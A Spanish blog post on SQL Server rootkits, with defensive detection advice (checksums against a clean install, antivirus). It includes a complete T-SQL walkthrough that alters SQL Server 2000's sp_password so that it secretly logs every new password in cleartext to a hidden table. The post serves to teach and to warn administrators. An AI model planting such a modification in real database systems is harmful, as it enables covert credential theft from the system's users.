Siempre que nos planteamos evaluar la seguridad de un sistema SQL Server nos encontramos con que la cantidad de aspectos a considerar es enorme. Comenzando por la seguridad física del servidor, de las copias de seguridad, del propio sistema operativo, de la red corporativa (VPNs, encriptación, WIFI, etc.), de active directory, de las aplicaciones (SQL injection, usuarios/passwords) y acabando con un largo etcétera. En definitiva es sumamente complicado no encontrar algún punto a partir del cual el sistema pudiera ser comprometido. Además, desgraciadamente, nuestra experiencia nos muestra que la seguridad es uno de los aspectos en los que menos se invierte cuando se planifica o se mantiene una base de datos SQL Server.
Inevitablemente existe un componente crítico de confianza en la seguridad de SQL Server: el administrador. En muchas organizaciones se producen rotaciones en esta posición lo que puede dar lugar a sistemas SQL Server comprometidos por los propios ex administradores descontentos por su despido. Definitivamente es complicado proveer a su vez a un administrador de los permisos necesarios para su labor (sysadmin) y al mismo tiempo prevenir que realice ninguna acción poco honesta.
Llegados a este punto una de las amenazas más complejas de detectar respecto a la seguridad de SQL Server es la producida por los SQL Server rootkits. Un rootkit puede definirse como una herramienta que permite el acceso no autorizado a un sistema mientras que, a su vez, previene su detección sencilla. Los rootkit en SQL Server, por suerte, no están muy extendidos y, a su vez, aquellos rootkits más avanzados pueden ser detectados por los antivirus por heurística por su forma de atacar a los ejecutables/memoria de SQL Server. Podríamos clasificar los rootkits en tres grupos:
- Sin manipulación de SO. Estos rootkits se basan en modificar únicamente elementos programables de SQL Server como procedimientos de sistema, DMVs, etc. Por una parte son los que cuentan con más posibilidades de ser detectados por un DBA experimentado y por otra son prácticamente indetectables por un antivirus.
- Con manipulación de las DLL de SQL Server. Otra opción para alterar el buen funcionamiento de SQL Server consiste en atacar alguna de las DLL que SQL Server utiliza. Este tipo de ataques permiten cambiar partes de la lógica interna de la aplicación de forma que, por ejemplo, una condición pueda cambiar de verdadera a falsa permitiendo así la autentificación de un usuario, la activación de una funcionalidad, etc.
- Manipulación directa de la memoria de SQL Server. Esta técnica parecida a la anterior trabaja directamente sobre la memoria de la máquina normalmente a partir de algún desbordamiento de pila. De esta forma se evitan modificaciones sobre ficheros que son más fácilmente detectables por los antivirus. En todo caso la actividad de un proceso que intente acceder a la memoria de otro cada día está más complicada por tecnologías como DEP que previenen de la ejecución de código en zonas de memoria no marcadas como de código ejecutable. También muchos antivirus vigilan aquellos procesos sospechosos de realizar actividades poco habituales.
Una técnica utilizada por muchos antivirus y que podemos aplicar internamente a SQL Server es la de realizar checksums de aquellas partes del sistema que no deberían modificarse sin previo aviso. Por ejemplo los procedimientos almacenados de la base de datos master no deberían cambiar salvo instalación de un service pack, hotfix o similar. Si nos encontramos ante una situación donde puede haber existido este tipo de intrusiones nuestra recomendación sería la instalación en paralelo de una versión de SQL Server idéntica que la actual (versión + service pack + CU + hotfixes) y realizar dicho checksum tanto a nivel de ficheros como a nivel de objetos de base de datos para detectar cualquier diferencia. La instalación de un antivirus actualizado nos ayudaría también en las partes más oscuras que pudieran quedar en el propio sistema operativo (keyloggers, rootkits genéricos, virus, etc.).
A continuación vamos a mostrar algunos ejemplos de modificaciones que podrían generarnos brechas de seguridad. Por suerte, con cada versión de SQL Server se hace más difícil este tipo de modificaciones que afecten a la seguridad.
SQL Server 2000
En SQL Server 2000 no existe ningún tipo de protección o dificultad para modificar procedimientos de sistema. Esto nos permitiría ocultar logins, jobs, tablas, obtener passwords, etc. Este tipo de ataques es conocido habitualmente como “object tampering”. SQL Server 2000 es también muy vulnerable a los ataques basados en duplicación de objetos de sistema debido a la traducción que SQL Server realiza cuando no indicamos el nombre completo. Por tanto podríamos crear objetos con el mismo nombre que algunos de sistema (sp_who, sp_help, sp_helptext, etc.) para que se ejecuten en vez del original de master.
Volviendo a la técnica de “object tampering” un candidato típico para modificar es el procedimiento sp_password. Dicho procedimiento es utilizado por el Enterprise Manager cada vez que se modifica el password de un usuario. Para realizar este cambio habilitaremos primero los cambios en objetos de sistema:
use master
— Habilitamos cambios en objetos de sistema
exec sp_configure ‘allow_updates’,1
go
reconfigure with override
— Obtenemos el código de sp_password
sp_helptext ‘sp_password’
Una vez obtenido el código del procedimiento podemos añadir la nueva funcionalidad de guardar los passwords en claro en una inofensiva tabla llamada MSPasswords. Los cambios los haremos tras todas las verificaciones previas, justo antes de las modificaciones, para evitar tener falsos positivos en los cambios de password:
alter procedure sp_password
@old sysname = NULL, — the old (current) password
@new sysname, — the new password
@loginame sysname = NULL — user to change password on
as
— SETUP RUNTIME OPTIONS / DECLARE VARIABLES —
set nocount on
declare @self int
select @self = CASE WHEN @loginame is null THEN 1 ELSE 2 END
— RESOLVE LOGIN NAME
if @loginame is null
select @loginame = suser_sname()
— CHECK PERMISSIONS (SecurityAdmin per Richard Waymire) —
IF (not is_srvrolemember(‘securityadmin’) = 1)
AND not @self = 1
begin
dbcc auditevent (107, @self, 0, @loginame, NULL, NULL, NULL)
raiserror(15210,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (107, @self, 1, @loginame, NULL, NULL, NULL)
end
— DISALLOW USER TRANSACTION —
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,‘sp_password’)
return (1)
end
— RESOLVE LOGIN NAME (disallows nt names)
if not exists (select * from master.dbo.syslogins where
loginname = @loginame and isntname = 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
— IF non-SYSADMIN ATTEMPTING CHANGE TO SYSADMIN, REQUIRE PASSWORD (218078) —
if (@self <> 1 AND is_srvrolemember(‘sysadmin’) = 0 AND exists
(SELECT * FROM master.dbo.syslogins WHERE loginname = @loginame and isntname = 0
AND sysadmin = 1) )
SELECT @self = 1
— CHECK OLD PASSWORD IF NEEDED —
if (@self = 1 or @old is not null)
if not exists (select * from master.dbo.sysxlogins
where srvid IS NULL and
name = @loginame and
( (@old is null and password is null) or
(pwdcompare(@old, password, (CASE WHEN xstatus&2048 = 2048 THEN 1 ELSE 0 END)) = 1) ) )
begin
raiserror(15211,-1,-1)
return (1)
end
— Nuestro código
IF NOT EXISTS (SELECT * FROM master..sysobjects where name = ‘MSPassword’)
CREATE TABLE master..MSPassword (login varchar(255),pwd varchar(255), fecha datetime)
INSERT INTO master..MSPassword VALUES (@loginame,@new,getdate())
— Fin nuestro código
— CHANGE THE PASSWORD —
update master.dbo.sysxlogins
set password = convert(varbinary(256), pwdencrypt(@new)), xdate2 = getdate(), xstatus = xstatus & (~2048)
where name = @loginame and srvid IS NULL
— UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE —
exec(‘use master grant all to null’)
— FINALIZATION: RETURN SUCCESS/FAILURE —
if @@error <> 0
return (1)
raiserror(15478,-1,-1)
return (0) — sp_password
Una vez hecho esto, devolveremos la base de datos a su estado normal y procederemos a modificar el password sa desde Enterprise Manager:
use master
— Deshabilitamos cambios en objetos de sistema
exec sp_configure ‘allow_updates’,0
go
reconfigure with override
Modificamos el password:
Y comprobamos como nuestra tabla nos guarda el nuevo password en claro:
use master
— Consultamos los cambios de passwords
select * from master..MSPassword
En conclusión vemos cómo de sencillo es para un administrador modificar procedimientos almacenados de sistema en SQL Server 2000 en su propio beneficio. Será pues fundamental que cuando debamos hacernos responsable de un sistema verificar que todos los objetos de sistema, jobs, etc. se adecúen a lo esperado para evitarnos sorpresas desagradables en un futuro. Tanto SQL Server 2005 como SQL Server 2008 disponen de mejoras en la seguridad que dificultan este tipo de cambios. En futuros posts trataré algunas técnicas alternativas válidas en SQL Server 2005 y 2008.